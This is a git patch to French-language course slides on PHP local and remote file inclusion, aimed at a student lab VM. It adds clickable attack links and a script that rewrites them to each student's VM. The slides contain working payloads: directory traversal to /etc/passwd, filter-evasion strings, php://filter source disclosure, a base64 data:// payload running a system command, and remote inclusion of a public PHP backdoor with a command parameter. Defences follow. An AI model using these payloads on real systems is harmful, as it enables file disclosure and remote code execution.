From 138015d55d9abbf348e23967854ff7c00bd9f6b5 Mon Sep 17 00:00:00 2001 From: Vincent Mazenod <vmazenod@gmail.com> Date: Tue, 20 Jun 2023 15:51:03 +0200 Subject: [PATCH] add custom urls --- content/slides/1337/md/fi.md | 69 +++++++++++++++++++----------------- content/slides/main.js | 15 ++++++-- 2 files changed, 49 insertions(+), 35 deletions(-) diff --git a/content/slides/1337/md/fi.md b/content/slides/1337/md/fi.md index d85678b..8634c23 100644 --- a/content/slides/1337/md/fi.md +++ b/content/slides/1337/md/fi.md @@ -4,6 +4,9 @@ ### Local File Inclusion / Remote File Inclusion +<small>nom d'utilisateur uca pour personnaliser les liens des slides:</small> +<input type="text" id="username" value="" style="width: 80%; font-size: 25px" /> + ## File Inclusion @@ -25,7 +28,7 @@ include($_REQUEST['filename']); * souvent appelé **Directory traversal** * permet d'accéder à des fichiers sensibles - * [http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=/etc/passwd](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=/etc/passwd) + * [/?page=/etc/passwd](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=/etc/passwd) * marche aussi avec `/etc/hosts`, `~/.bashrc`, `~/.bash_history` ... * marche pas avec `/etc/shadow` @@ -42,7 +45,7 @@ Note: * paths absolus / paths relatifs (../.. ou ..\\..) * linux `/etc/passwd`, `../../../../../etc/hosts` * windows `c:\boot.ini`, `c:\windows`, `c:\windows\system32\drivers\etc\hosts` -* [http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=index.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=index.php) +* [/?page=index.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=index.php) * boucle infinie = ca marche * invalider par (include|require)_once @@ -65,11 +68,11 @@ allow_url_include=On # just for test purpose ## RFI / security low -* <small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=http://perdu.com](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=http://perdu.com)</small> +* <small>[/?page=http://perdu.com](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=http://perdu.com)</small> * <i class="fas fa-poop"></i> drôle mais pas très utile * <small>[https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small> - * <small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small> + * <small>[/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small> * <i class="fa-solid fa-poo"></i> un peu frustrant @@ -87,18 +90,11 @@ allow_url_include=On # just for test purpose ## RFI / backdoor -<small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php)</small> - -### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i> - -<small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls)</small> +* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php) <i class="fa-solid fa-thumbs-up"></i></small> -### <i class="fa fa-thumbs-o-down" aria-hidden="true"></i> +* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls) <i class="fa-solid fa-thumbs-down"></i></small> -<small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls) -</small> - -### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i> +* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls) <i class="fa-solid fa-thumbs-up"></i></small> ## RFI / security medium @@ -110,14 +106,17 @@ allow_url_include=On # just for test purpose $file ); ``` +<small> -* <small>`?page=hthttp://tp://www.google.fr`</small> -#### [wrappers php](https://www.php.net/manual/en/wrappers.php) -* <small>`?page=php://filter/convert.base64-encode/resource=file1.php`</small> +* [/?page=hthttp://tp://www.google.fr](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=hthttp://tp://www.google.fr) + * échapper l'échappement +* [/?page=php://filter/convert.base64-encode/resource=file1.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=file1.php) * récupère le code source php du fichier file1.php -* <small>`?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=`</small> +* [/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=) * exécute `<?php system("hostname"); ?>` +</small> + Note: - discuter la surcharge du php.ini via .htaccess - solution ispconfig @@ -134,13 +133,17 @@ Note: ); ``` -* <small>`?page=../../../../../etc/hosts`</small> +<small> + +* [/?page=../../../../../etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=../../../../../etc/hosts) * ne fonctionne plus -* <small>`?page=../..././..././..././..././..././etc/hosts`</small> +* [/?page=../..././..././..././..././..././etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=../..././..././..././..././..././etc/hosts) * permet d'échapper l'échappement -* <small>`?page=/etc/passwd`</small> +* [/?page=/etc/passwd](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=../..././..././..././..././..././etc/hosts) * Les paths absolus fonctionnent toujours +</small> + ## LFI / security high @@ -152,12 +155,14 @@ if( !fnmatch( "file*", $file ) && $file != "include.php" ) { } ``` -* accès au fichier caché - * <small>`?page=file4.php`</small> +<small> + +* accès au fichier caché + * [/?page=file4.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=file4.php) * [wrapper file](https://www.php.net/manual/en/wrappers.file.php) - * <small>`?page=file:///etc/hosts`</small> + * [/?page=file:///etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=file:///etc/hosts) * le dossier file n'existe pas mais php résout tout de même - * <small>`?page=file/../../../../../../etc/hosts`</small> + * [/?page=file/../../../../../../etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=file/../../../../../../etc/hosts) ## <i class="fa fa-medkit"></i> [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) @@ -172,7 +177,7 @@ if( !fnmatch( "file*", $file ) && $file != "include.php" ) { ## <i class="fa fa-medkit"></i> [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) -* **.** inclue le fichier lui-même +* `.` inclue le fichier lui-même * problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php) * valeur typique @@ -188,10 +193,10 @@ Note: ## <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) -* realpath() +* [realpath()](http://php.net/manual/fr/function.realpath.php) * converti tous les *.* et **..** en path absolue * retourne null pour un path inexistant -* basename() +* [basename()](http://php.net/manual/fr/function.basename.php) * extrait la partie contenant le nom du dossier précédant directement le nom du fichier * 2 fonctions qui combinées évitent les directory traversal @@ -204,7 +209,7 @@ $filename = "/home/users/".$username.".txt"; readfile($filename); ``` -peut être sécurisé via realpath() et basename() +peut être sécurisé via [realpath()](http://php.net/manual/fr/function.realpath.php) et [basename()](http://php.net/manual/fr/function.basename.php) ```php $username = basename(realpath($_GET['user'])); @@ -217,9 +222,9 @@ ne préserve pas d'une LFI dans le même répertoire ## <i class="fa fa-medkit"></i> Se préserver -* déscativer allow_url_include -* utiliser open_base_dir +* déscativer [allow_url_include](https://www.php.net/manual/en/filesystem.configuration.php) +* utiliser [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) * désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm)) * filtrer ses entrées * par listes blanches - * avec realpath() et basename() \ No newline at end of file + * avec [realpath()](http://php.net/manual/fr/function.realpath.php) et [basename()](http://php.net/manual/fr/function.basename.php) \ No newline at end of file diff --git a/content/slides/main.js b/content/slides/main.js index 4589ee1..5e38ab2 100644 --- a/content/slides/main.js +++ b/content/slides/main.js @@ -1,6 +1,15 @@ "use strict"; -document.addEventListener('DOMContentLoaded', function() { - console.log(document.getElementsByTagName("a")); - }, false); +Reveal.addEventListener( 'ready', function( event ) { + for (let a of document.getElementsByTagName("a")) { + let url = new URL(a.href); + if ( + url.origin == "http://vm-etu-vimazeno.local.isima.fr" + && document.getElementById("username").value != "" + ) { + a.href = "http://vm-" + document.getElementById("username").value + ".local.isima.fr" + url.pathname + url.search; + a.target = "_blank"; + } + } +} ); \ No newline at end of file -- GitLab